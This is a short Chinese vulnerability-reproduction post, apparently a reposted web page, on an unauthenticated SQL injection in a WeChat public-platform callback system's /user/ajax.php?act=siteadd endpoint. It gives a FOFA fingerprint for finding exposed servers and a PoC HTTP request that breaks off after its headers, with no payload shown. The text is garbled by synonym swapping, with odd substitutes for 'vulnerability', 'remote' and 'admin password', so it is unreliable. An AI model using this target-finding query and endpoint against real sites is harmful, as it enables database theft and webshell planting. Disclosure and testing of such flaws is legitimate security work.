微信公众平台无穷回调体系 /user/ajax.php SQL注入毛病复现 ...

0x01 产物简介

微信公众平台无穷回调体系是一种旨在提升企业客户服务体验和运营效率的工具。该体系通过一系列智能化和主动化的功能，资助企业与用户之间建立更加便捷、高效的沟通桥梁。
0x02 毛病概述

微信公众平台无穷回调体系 /user/ajax.php 接口存在SQL注入毛病，未经身份验证的长途攻击者除了可以利用 SQL 注入毛病获取数据库中的信息（比方，管理员背景暗码、站点的用户个人信息）之外，甚至在高权限的情况可向服务器中写入木马，进一步获取服务器体系权限。
0x03 复现环境

FOFA：body="mb-5 web-font-desc"

0x04 毛病复现

PoC

1. POST /user/ajax.php?act=siteadd HTTP/1.1
2. Host:
3. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
4. Content-Type: application/x-www-form-urlencoded
5. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
6. Accept-Encoding: gzip, deflat

复制代码

免责声明：如果侵犯了您的权益，请联系站长，我们会及时删除侵权内容，谢谢合作！更多信息从访问主页：qidao123.com:ToB企服之家，中国第一个企服评测及商务社交产业平台。